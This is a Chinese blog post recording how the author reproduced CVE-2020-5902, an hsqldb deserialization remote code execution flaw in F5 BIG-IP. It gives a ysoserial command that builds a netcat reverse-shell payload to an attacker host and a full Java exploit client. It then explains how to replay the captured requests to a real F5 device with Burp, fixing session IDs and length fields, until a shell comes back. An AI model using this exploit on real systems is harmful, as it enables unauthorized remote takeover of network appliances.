F5 hsqldb漏洞踩坑笔记

看了下F5 hsqldb漏洞,在Github上可以找到POC,但是却一直复现不成功。原因是因为F5使用了HTTPS导致hsqldb连接失败。

看到了Longofo大佬写的F5 BIG-IP hsqldb(CVE-2020-5902)漏洞踩坑分析,大体思路是可以先本地搭建hsqlServlet,然后本地复现漏洞并抓取数据包,最后利用抓到的数据包重放到F5。自己按照文章里面的思路折腾了一篇,捣鼓大半天后终于成功了。这里记录一下复现的坑。

0x1 IDEA搭建hsqlServlet

这一步相对比较简单,hsqldb本身提供了Servlet模式,直接拿来用就行。

访问出现以下界面,环境搭建成功。

0x2 本地复现

这一步基本上就是按照Github上POC的流程走一遍。
从CVE-2020-5902.sh里提取出关键的两个过程,先尝试弹个计算器吧。

1
2
3
4
5
java -jar ysoserial-master-SNAPSHOT.jar \
CommonsCollections6 \
"/bin/nc -e /bin/bash $localip $port" > nc.class #使用ysoserial生成POC,这里使用的payload是CommonsCollections6

xxd -p nc.class | xargs | sed -e 's/ //g' | dd conv=ucase 2>/dev/null > payload.hex #生成十六进制编码的POC

稍微改一下f5RCE.java。运行后成功弹出计算器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.IOException;
import org.hsqldb.lib.StringConverter;

public class F5RCE {

public static void main(String[] args) {
Connection connection;
Statement statement;
String pfile = "/Users/xiashang/Downloads/CVE-2020-5902/payload.hex";

String payload = null;
try {
payload = new String(Files.readAllBytes(Paths.get(pfile)));
payload = payload.replaceAll("(\\n|\\r)","");
} catch (IOException e) {
e.printStackTrace();
}

String dburl = "jdbc:hsqldb:http://localhost:8090/helloworld_war_exploded/hsql/";

try {
Class.forName("org.hsqldb.jdbcDriver");
connection = DriverManager.getConnection(dburl, "sa","");
statement = connection.createStatement();
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload +"');");
} catch (java.sql.SQLException sqle) {
// ignore java.sql.SQLException: S1000
// General error java.lang.IllegalArgumentException: argument type mismatch
if(sqle.getSQLState().equals("S1000") && sqle.getErrorCode() == 40) {
System.out.println("Payload executed");
} else {
System.out.println("Unexpected SQL error");
sqle.printStackTrace();
}
return;
}
catch (ClassNotFoundException cne) {
System.err.println("Error loading db driver");
cne.printStackTrace();
return;
}
}
}

0x3 抓取数据包

重新构造反弹的POC后,抓取数据包,关键数据包有三个。

三个数据包分别对应以下三个过程,第一步先认证,然后执行两条命令。

0x4 重放数据包

利用burpsuite重放数据包到F5,这里需要注意的是直接重放数据包不行的,因为本地抓的数据包sessionID和F5的不一致,会导致500报错。在重放第一数据包进行认证时时需要记录下来F5返回的sessionID。然后修改第二个和第三个数据包的sessionID再发送。

还有一个坑就是个别版本的burpsuite在粘贴请求包时会在最前面多加了3个00字节,如果有多加的话需要把前面3个00字节删除。

详细的复现过程如下:
第一步,先发送第一个认证数据包,记录下来返回包的sessionID,sessionID在13-16个字节,比如这里的是0000001f。

第二步,将第二个请求包的sessionID修改为第一步记录下来的sessionID,如果返回java.lang.Stringtrue证明命令执行成功。

第三步,还是将第三个请求包的sessionID修改为第一步记录下来的sessionID。发送后成功反弹shell。

有了数据包之后后面再构造不同的payload其实也挺方便的了,不需要再重复本地抓包去改了。第一个包直接直接重放,第二个包只需要修改sessionID即可,第三个包需要修改的稍微会多一点,需要分别修改总长度、sessionID、命令长度。这里主要看一下第三个数据包怎么修改。

生成需要执行的命令并替换到第三个数据包ACED开头序列化数据部分,然后修改sessionID为第一步的sessionID。

计算命令的长度,命令部分从call开始一直到最后。这里算出来的长度是2671,转成十六进制是0a6f。

修改数据包部分命令长度,长度就是call前面,比较容易找。

改完上面步骤之后先发送一个数据包过去,这个数据包可能还是会报错,因为总长度还没改,发送之后burpsuit会自动帮我们算好总长度,比如这里是2699,转成十六进制是0a8b。

最后修改总长度,总长度就在开头的4个字节。本地成功监听到F5发来的HTTP请求。